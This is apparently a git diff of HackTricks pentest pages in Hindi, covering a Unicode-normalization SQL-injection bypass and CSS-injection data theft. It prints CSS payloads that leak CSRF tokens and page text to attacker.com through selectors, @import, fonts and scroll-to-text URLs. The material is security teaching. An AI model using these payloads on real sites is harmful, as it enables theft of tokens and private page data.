कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता** है, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **Unicode** का उपयोग करके **सामान्यीकृत** करता है।
|
||||
|
||||
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग Unicode वर्ण डाल सकता है जो `' (0x27)` के समकक्ष है जैसे `%ef%bc%87`, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है:
|
||||
|
||||
|
@ -126,18 +112,6 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **dark-web** द्वारा संचालित खोज इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **stealer malwares** द्वारा **compromised** हुए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट की जांच कर सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,33 +1,26 @@
|
|||
# CSS Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Attribute Selector
|
||||
|
||||
CSS चयनकर्ता `input` तत्व के `name` और `value` विशेषताओं के मानों से मेल खाने के लिए बनाए जाते हैं। यदि इनपुट तत्व की मान विशेषता किसी विशेष वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड किया जाता है:
|
||||
CSS चयनकर्ता `input` तत्व के `name` और `value` विशेषताओं के मानों से मेल खाने के लिए बनाए जाते हैं। यदि इनपुट तत्व की मान विशेषता एक विशिष्ट वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड किया जाता है:
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
@ -42,7 +35,7 @@ background-image: url(https://attacker.com/exfil/9);
|
|||
```
|
||||
हालांकि, इस दृष्टिकोण को छिपे हुए इनपुट तत्वों (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करना पड़ता है क्योंकि छिपे हुए तत्व पृष्ठभूमियों को लोड नहीं करते हैं।
|
||||
|
||||
#### छिपे हुए तत्वों के लिए बायपास
|
||||
#### छिपे हुए तत्वों के लिए बाईपास
|
||||
|
||||
इस सीमा को पार करने के लिए, आप `~` सामान्य भाई संयोजक का उपयोग करके एक बाद के भाई तत्व को लक्षित कर सकते हैं। CSS नियम तब सभी भाई तत्वों पर लागू होता है जो छिपे हुए इनपुट तत्व के बाद आते हैं, जिससे पृष्ठभूमि छवि लोड होती है:
|
||||
```css
|
||||
|
@ -50,20 +43,20 @@ input[name=csrf][value^=csrF] ~ * {
|
|||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
एक व्यावहारिक उदाहरण इस तकनीक का लाभ उठाने का प्रदान किए गए कोड स्निपेट में विस्तृत है। आप इसे [यहाँ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) देख सकते हैं।
|
||||
|
||||
#### CSS Injection के लिए पूर्वापेक्षाएँ
|
||||
#### CSS इंजेक्शन के लिए पूर्वापेक्षाएँ
|
||||
|
||||
CSS Injection तकनीक के प्रभावी होने के लिए, कुछ शर्तें पूरी होनी चाहिए:
|
||||
CSS इंजेक्शन तकनीक प्रभावी होने के लिए, कुछ शर्तें पूरी होनी चाहिए:
|
||||
|
||||
1. **पेलोड लंबाई**: CSS injection वेक्टर को पर्याप्त लंबे पेलोड का समर्थन करना चाहिए ताकि तैयार किए गए सेलेक्टर्स को समायोजित किया जा सके।
|
||||
1. **पेलोड लंबाई**: CSS इंजेक्शन वेक्टर को पर्याप्त लंबे पेलोड का समर्थन करना चाहिए ताकि तैयार किए गए चयनकर्ताओं को समायोजित किया जा सके।
|
||||
2. **CSS पुनर्मूल्यांकन**: आपके पास पृष्ठ को फ्रेम करने की क्षमता होनी चाहिए, जो नए उत्पन्न पेलोड के साथ CSS के पुनर्मूल्यांकन को ट्रिगर करने के लिए आवश्यक है।
|
||||
3. **बाहरी संसाधन**: यह तकनीक बाहरी होस्टेड छवियों का उपयोग करने की क्षमता मानती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है।
|
||||
3. **बाहरी संसाधन**: यह तकनीक बाहरी होस्ट किए गए चित्रों का उपयोग करने की क्षमता मानती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है।
|
||||
|
||||
### ब्लाइंड एट्रिब्यूट सेलेक्टर
|
||||
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), यह संभव है कि **`:has`** और **`:not`** सेलेक्टर्स को मिलाकर सामग्री की पहचान की जा सके, यहां तक कि ब्लाइंड तत्वों से भी। यह तब बहुत उपयोगी होता है जब आपको यह नहीं पता होता कि CSS injection लोड करने वाले वेब पृष्ठ के अंदर क्या है।\
|
||||
यह सेलेक्टर्स का उपयोग करके समान प्रकार के कई ब्लॉकों से जानकारी निकालना भी संभव है जैसे कि:
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), चयनकर्ताओं **`:has`** और **`:not`** को मिलाकर सामग्री की पहचान करना संभव है, यहां तक कि अंधे तत्वों से भी। यह तब बहुत उपयोगी होता है जब आपको यह नहीं पता होता कि CSS इंजेक्शन लोड करने वाले वेब पृष्ठ के अंदर क्या है।\
|
||||
यह चयनकर्ताओं का उपयोग करके समान प्रकार के कई ब्लॉकों से जानकारी निकालना भी संभव है जैसे कि:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
|
@ -73,17 +66,17 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
इसका संयोजन निम्नलिखित **@import** तकनीक के साथ करने पर, यह संभव है कि **CSS इंजेक्शन के माध्यम से अंधे पृष्ठों से बहुत सारी जानकारी निकाली जाए** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
The previous technique has some drawbacks, check the prerequisites. You either need to be able to **send multiple links to the victim**, or you need to be able to **iframe the CSS injection vulnerable page**.
|
||||
पिछली तकनीक में कुछ कमियाँ हैं, आवश्यकताओं की जांच करें। आपको या तो **शिकार पर कई लिंक भेजने में सक्षम होना चाहिए**, या आपको **CSS इंजेक्शन संवेदनशील पृष्ठ को iframe करने में सक्षम होना चाहिए**।
|
||||
|
||||
हालांकि, एक और चतुर तकनीक है जो **CSS `@import`** का उपयोग करके तकनीक की गुणवत्ता में सुधार करती है।
|
||||
|
||||
यह पहली बार [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) द्वारा दिखाया गया था और यह इस तरह काम करता है:
|
||||
|
||||
इसके बजाय कि हर बार अलग-अलग पेलोड के साथ एक ही पृष्ठ को बार-बार लोड किया जाए (जैसे पिछले में), हम **पृष्ठ को केवल एक बार और केवल हमलावर के सर्वर के लिए एक आयात के साथ लोड करने जा रहे हैं** (यह पीड़ित को भेजने के लिए पेलोड है):
|
||||
एक ही पृष्ठ को बार-बार विभिन्न पेलोड के साथ लोड करने के बजाय (जैसे पिछले में), हम **पृष्ठ को केवल एक बार और केवल हमलावर के सर्वर के लिए एक आयात के साथ लोड करने जा रहे हैं** (यह शिकार को भेजने के लिए पेलोड है):
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
|
@ -93,14 +86,14 @@ The previous technique has some drawbacks, check the prerequisites. You either n
|
|||
3. पेलोड का दूसरा और बड़ा भाग एक **एट्रिब्यूट सेलेक्टर लीक पेलोड** होगा।
|
||||
1. यह हमलावरों के सर्वर को **गुप्त का पहला अक्षर और अंतिम अक्षर** भेजेगा।
|
||||
4. एक बार जब हमलावरों के सर्वर ने **गुप्त का पहला और अंतिम अक्षर** प्राप्त कर लिया, तो यह **चरण 2 में अनुरोधित आयात का उत्तर देगा**।
|
||||
1. उत्तर **चरण 2, 3 और 4** के समान होगा, लेकिन इस बार यह **गुप्त का दूसरा अक्षर और फिर पूर्व अंतिम अक्षर** खोजने की कोशिश करेगा।
|
||||
1. उत्तर **चरण 2, 3 और 4** के समान होगा, लेकिन इस बार यह **गुप्त का दूसरा अक्षर और फिर अंतिम से पहले** खोजने की कोशिश करेगा।
|
||||
|
||||
हमलावर **इस लूप का पालन करेगा जब तक कि वह गुप्त को पूरी तरह से लीक करने में सफल नहीं हो जाता**।
|
||||
|
||||
आप मूल [**पेपे विला का कोड इस परिष्कृत करने के लिए यहां पा सकते हैं**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) या आप लगभग [**समान कोड लेकिन टिप्पणी के साथ यहां पा सकते हैं**।](./#css-injection)
|
||||
आप मूल [**पेपे विला का कोड इस परिष्कृत करने के लिए यहाँ पा सकते हैं**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) या आप लगभग [**समान कोड लेकिन टिप्पणी के साथ यहाँ पा सकते हैं**।](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
स्क्रिप्ट हर बार 2 अक्षरों को खोजने की कोशिश करेगी (शुरुआत से और अंत से) क्योंकि एट्रिब्यूट सेलेक्टर चीजें करने की अनुमति देता है:
|
||||
स्क्रिप्ट हर बार 2 अक्षरों को खोजने की कोशिश करेगी (शुरुआत से और अंत से) क्योंकि एट्रिब्यूट सेलेक्टर ऐसा करने की अनुमति देता है:
|
||||
```css
|
||||
/* value^= to match the beggining of the value*/
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
|
@ -131,7 +124,7 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
||||
**संदर्भ:** [CSS आधारित हमला: @font-face के unicode-range का दुरुपयोग](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [त्रुटि-आधारित XS-Search PoC @terjanq द्वारा](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
कुल मिलाकर इरादा है कि **एक नियंत्रित एंडपॉइंट से एक कस्टम फ़ॉन्ट का उपयोग करें** और सुनिश्चित करें कि **पाठ (इस मामले में, 'A') केवल तभी इस फ़ॉन्ट के साथ प्रदर्शित होता है जब निर्दिष्ट संसाधन (`favicon.ico`) लोड नहीं किया जा सकता**।
|
||||
कुल मिलाकर इरादा है कि **एक नियंत्रित एंडपॉइंट से एक कस्टम फ़ॉन्ट का उपयोग करें** और सुनिश्चित करें कि **पाठ (इस मामले में, 'A') केवल तभी इस फ़ॉन्ट के साथ प्रदर्शित होता है जब निर्दिष्ट संसाधन (`favicon.ico`) लोड नहीं किया जा सकता है**।
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -170,7 +163,7 @@ font-family: 'poc';
|
|||
|
||||
**`:target`** प्सेउडो-क्लास का उपयोग एक तत्व का चयन करने के लिए किया जाता है जिसे **URL फ़्रैगमेंट** द्वारा लक्षित किया गया है, जैसा कि [CSS सेलेक्टर्स लेवल 4 स्पेसिफिकेशन](https://drafts.csswg.org/selectors-4/#the-target-pseudo) में निर्दिष्ट किया गया है। यह समझना महत्वपूर्ण है कि `::target-text` किसी भी तत्व से मेल नहीं खाता जब तक कि टेक्स्ट को स्पष्ट रूप से फ़्रैगमेंट द्वारा लक्षित नहीं किया गया हो।
|
||||
|
||||
एक सुरक्षा चिंता तब उत्पन्न होती है जब हमलावर **स्क्रॉल-टू-टेक्स्ट** फ़्रैगमेंट फ़ीचर का लाभ उठाते हैं, जिससे उन्हें HTML इंजेक्शन के माध्यम से अपने सर्वर से संसाधन लोड करके किसी वेबपेज पर विशिष्ट टेक्स्ट की उपस्थिति की पुष्टि करने की अनुमति मिलती है। यह विधि इस तरह के CSS नियम को इंजेक्ट करने में शामिल है:
|
||||
एक सुरक्षा चिंता तब उत्पन्न होती है जब हमलावर **स्क्रॉल-टू-टेक्स्ट** फ़्रैगमेंट फ़ीचर का लाभ उठाते हैं, जिससे उन्हें HTML इंजेक्शन के माध्यम से अपने सर्वर से एक संसाधन लोड करके किसी वेबपेज पर विशिष्ट टेक्स्ट की उपस्थिति की पुष्टि करने की अनुमति मिलती है। यह विधि इस तरह के CSS नियम को इंजेक्ट करने में शामिल है:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
|
@ -178,13 +171,13 @@ font-family: 'poc';
|
|||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
यहाँ, हमला HTML इंजेक्शन का उपयोग करके CSS कोड को संचारित करने के लिए "Administrator" विशेष पाठ को लक्षित करता है, Scroll-to-text fragment (`#:~:text=Administrator`) के माध्यम से। यदि पाठ पाया जाता है, तो निर्दिष्ट संसाधन लोड होता है, अनजाने में हमलावर को इसकी उपस्थिति का संकेत देता है।
|
||||
यहाँ, हमला HTML इंजेक्शन का उपयोग करके CSS कोड को संचारित करने के लिए हेरफेर करता है, जिसका लक्ष्य विशेष पाठ "Administrator" है, जो Scroll-to-text fragment (`#:~:text=Administrator`) के माध्यम से है। यदि पाठ पाया जाता है, तो निर्दिष्ट संसाधन लोड होता है, अनजाने में हमलावर को इसकी उपस्थिति का संकेत देता है।
|
||||
|
||||
निवारण के लिए, निम्नलिखित बिंदुओं पर ध्यान दिया जाना चाहिए:
|
||||
|
||||
1. **संकीर्ण STTF मिलान**: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से मेल खाने के लिए डिज़ाइन किया गया है, जिससे यह मनमाने रहस्यों या टोकनों को लीक करने की क्षमता को सीमित करता है।
|
||||
2. **शीर्ष-स्तरीय ब्राउज़िंग संदर्भों तक सीमित**: STTF केवल शीर्ष-स्तरीय ब्राउज़िंग संदर्भों में कार्य करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी शोषण के प्रयास को उपयोगकर्ता के लिए अधिक ध्यान देने योग्य बना देता है।
|
||||
3. **उपयोगकर्ता सक्रियण की आवश्यकता**: STTF को कार्य करने के लिए एक उपयोगकर्ता-क्रियान्वयन इशारा की आवश्यकता होती है, जिसका अर्थ है कि शोषण केवल उपयोगकर्ता-प्रेरित नेविगेशन के माध्यम से संभव है। यह आवश्यकता हमलों के स्वचालित होने के जोखिम को काफी कम करती है बिना उपयोगकर्ता की सहभागिता के। फिर भी, ब्लॉग पोस्ट के लेखक ने कुछ विशिष्ट स्थितियों और बायपास का उल्लेख किया है (जैसे, सामाजिक इंजीनियरिंग, प्रचलित ब्राउज़र एक्सटेंशन के साथ इंटरैक्शन) जो हमले के स्वचालन को आसान बना सकते हैं।
|
||||
3. **उपयोगकर्ता सक्रियण की आवश्यकता**: STTF को कार्य करने के लिए एक उपयोगकर्ता-क्रियान्वयन इशारा की आवश्यकता होती है, जिसका अर्थ है कि शोषण केवल उपयोगकर्ता-प्रेरित नेविगेशन के माध्यम से संभव है। यह आवश्यकता हमलों के स्वचालित होने के जोखिम को काफी कम करती है बिना उपयोगकर्ता की बातचीत के। फिर भी, ब्लॉग पोस्ट के लेखक ने कुछ विशिष्ट स्थितियों और बायपास (जैसे, सामाजिक इंजीनियरिंग, प्रचलित ब्राउज़र एक्सटेंशन के साथ बातचीत) का उल्लेख किया है जो हमले के स्वचालन को आसान बना सकते हैं।
|
||||
|
||||
इन तंत्रों और संभावित कमजोरियों के प्रति जागरूकता वेब सुरक्षा बनाए रखने और ऐसे शोषणकारी तकनीकों के खिलाफ सुरक्षा के लिए कुंजी है।
|
||||
|
||||
|
@ -219,22 +212,22 @@ font-family:poc;
|
|||
|
||||
<p id="sensitive-information">AB</p>htm
|
||||
```
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
जब आप इस पृष्ठ तक पहुँचते हैं, तो Chrome और Firefox "?A" और "?B" लाते हैं क्योंकि संवेदनशील-जानकारी के टेक्स्ट नोड में "A" और "B" वर्ण होते हैं। लेकिन Chrome और Firefox "?C" नहीं लाते क्योंकि इसमें "C" नहीं है। इसका मतलब है कि हम "A" और "B" को पढ़ने में सक्षम रहे हैं।
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### टेक्स्ट नोड एक्सफिल्ट्रेशन (I): लिगेचर्स <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
**संदर्भ:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
विवरणित तकनीक में एक नोड से टेक्स्ट निकालने के लिए फ़ॉन्ट लिगेचर्स का उपयोग करना और चौड़ाई में परिवर्तनों की निगरानी करना शामिल है। प्रक्रिया में कई चरण शामिल हैं:
|
||||
विवेचित तकनीक में फ़ॉन्ट लिगेचर्स का उपयोग करके एक नोड से टेक्स्ट निकालना और चौड़ाई में परिवर्तनों की निगरानी करना शामिल है। प्रक्रिया में कई चरण शामिल हैं:
|
||||
|
||||
1. **कस्टम फ़ॉन्ट्स का निर्माण**:
|
||||
- SVG फ़ॉन्ट्स को ऐसे ग्लिफ़ के साथ तैयार किया जाता है जिसमें `horiz-adv-x` विशेषता होती है, जो दो-चरित्र अनुक्रम का प्रतिनिधित्व करने वाले ग्लिफ़ के लिए बड़ी चौड़ाई सेट करती है।
|
||||
- उदाहरण SVG ग्लिफ़: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, जहाँ "XY" एक दो-चरित्र अनुक्रम को दर्शाता है।
|
||||
- SVG फ़ॉन्ट्स को ऐसे ग्लिफ़ के साथ तैयार किया जाता है जिसमें `horiz-adv-x` विशेषता होती है, जो दो वर्णों के अनुक्रम का प्रतिनिधित्व करने वाले ग्लिफ़ के लिए बड़ी चौड़ाई सेट करती है।
|
||||
- उदाहरण SVG ग्लिफ़: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, जहाँ "XY" दो वर्णों के अनुक्रम को दर्शाता है।
|
||||
- इन फ़ॉन्ट्स को फिर fontforge का उपयोग करके woff प्रारूप में परिवर्तित किया जाता है।
|
||||
|
||||
2. **चौड़ाई परिवर्तनों का पता लगाना**:
|
||||
- CSS का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि टेक्स्ट लपेटा न जाए (`white-space: nowrap`) और स्क्रॉलबार शैली को अनुकूलित किया जाए।
|
||||
- एक क्षैतिज स्क्रॉलबार की उपस्थिति, जिसे विशेष रूप से स्टाइल किया गया है, यह संकेतक (oracle) के रूप में कार्य करती है कि टेक्स्ट में एक विशिष्ट लिगेचर, और इसलिए एक विशिष्ट चरित्र अनुक्रम, मौजूद है।
|
||||
- एक विशिष्ट लिगेचर, और इसलिए एक विशिष्ट वर्ण अनुक्रम, टेक्स्ट में मौजूद होने का संकेत (ओरैकल) देने के लिए एक अलग रूप से स्टाइल किया गया क्षैतिज स्क्रॉलबार प्रकट होता है।
|
||||
- शामिल CSS:
|
||||
```css
|
||||
body { white-space: nowrap };
|
||||
|
@ -243,28 +236,28 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
```
|
||||
|
||||
3. **शोषण प्रक्रिया**:
|
||||
- **चरण 1**: बड़े चौड़ाई वाले चरित्र जोड़ों के लिए फ़ॉन्ट बनाए जाते हैं।
|
||||
- **चरण 2**: यह पता लगाने के लिए स्क्रॉलबार-आधारित चाल का उपयोग किया जाता है कि कब बड़ा चौड़ाई वाला ग्लिफ़ (एक चरित्र जोड़ी के लिए लिगेचर) प्रस्तुत किया गया है, जो चरित्र अनुक्रम की उपस्थिति को इंगित करता है।
|
||||
- **चरण 3**: एक लिगेचर का पता लगाने पर, तीन-चरित्र अनुक्रम का प्रतिनिधित्व करने वाले नए ग्लिफ़ उत्पन्न किए जाते हैं, जिसमें पता लगाए गए जोड़े को शामिल किया जाता है और एक पूर्ववर्ती या उत्तरवर्ती चरित्र जोड़ा जाता है।
|
||||
- **चरण 4**: तीन-चरित्र लिगेचर का पता लगाया जाता है।
|
||||
- **चरण 1**: बड़े चौड़ाई वाले वर्णों के जोड़ों के लिए फ़ॉन्ट बनाए जाते हैं।
|
||||
- **चरण 2**: यह पता लगाने के लिए स्क्रॉलबार-आधारित चाल का उपयोग किया जाता है कि कब बड़ा चौड़ाई वाला ग्लिफ़ (एक वर्ण जोड़ी के लिए लिगेचर) प्रस्तुत किया गया है, जो वर्ण अनुक्रम की उपस्थिति को इंगित करता है।
|
||||
- **चरण 3**: एक लिगेचर का पता लगाने पर, तीन-वर्ण अनुक्रम का प्रतिनिधित्व करने वाले नए ग्लिफ़ उत्पन्न किए जाते हैं, जिसमें पता लगाए गए जोड़े को शामिल किया जाता है और एक पूर्ववर्ती या उत्तरवर्ती वर्ण जोड़ा जाता है।
|
||||
- **चरण 4**: तीन-वर्ण लिगेचर का पता लगाया जाता है।
|
||||
- **चरण 5**: प्रक्रिया दोहराई जाती है, धीरे-धीरे पूरे टेक्स्ट को प्रकट करती है।
|
||||
|
||||
4. **अनुकूलन**:
|
||||
- `<meta refresh=...` का वर्तमान प्रारंभिककरण विधि अनुकूल नहीं है।
|
||||
- एक अधिक कुशल दृष्टिकोण CSS `@import` चाल को शामिल कर सकता है, जो शोषण के प्रदर्शन को बढ़ाता है।
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### टेक्स्ट नोड एक्सफिल्ट्रेशन (II): डिफ़ॉल्ट फ़ॉन्ट के साथ charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**संदर्भ:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
यह चाल इस [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) में जारी की गई थी। टेक्स्ट नोड में उपयोग किया जाने वाला charset **ब्राउज़र में स्थापित डिफ़ॉल्ट फ़ॉन्ट्स** का उपयोग करके लीक किया जा सकता है: कोई बाहरी -या कस्टम- फ़ॉन्ट की आवश्यकता नहीं है।
|
||||
यह चाल इस [**Slackers थ्रेड**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) में जारी की गई थी। टेक्स्ट नोड में उपयोग किया गया charset **ब्राउज़र में स्थापित डिफ़ॉल्ट फ़ॉन्ट्स** का उपयोग करके लीक किया जा सकता है: बाहरी -या कस्टम- फ़ॉन्ट्स की आवश्यकता नहीं है।
|
||||
|
||||
यह अवधारणा एक एनीमेशन का उपयोग करके एक `div` की चौड़ाई को क्रमिक रूप से बढ़ाने के चारों ओर घूमती है, जिससे एक समय में एक चरित्र 'सफिक्स' भाग से 'प्रिफिक्स' भाग में संक्रमण कर सकता है। यह प्रक्रिया टेक्स्ट को दो भागों में विभाजित करती है:
|
||||
यह अवधारणा एक एनीमेशन का उपयोग करके एक `div` की चौड़ाई को क्रमिक रूप से बढ़ाने के चारों ओर घूमती है, जिससे एक समय में एक वर्ण 'सफिक्स' भाग से 'प्रिफिक्स' भाग में संक्रमण कर सकता है। यह प्रक्रिया टेक्स्ट को दो भागों में प्रभावी रूप से विभाजित करती है:
|
||||
|
||||
1. **प्रिफिक्स**: प्रारंभिक पंक्ति।
|
||||
2. **सफिक्स**: अगली पंक्ति(याँ)।
|
||||
|
||||
चरित्रों के संक्रमण चरण इस प्रकार दिखाई देंगे:
|
||||
पात्रों के संक्रमण चरण इस प्रकार दिखाई देंगे:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
|
@ -278,16 +271,16 @@ B
|
|||
**CADB**
|
||||
|
||||
|
||||
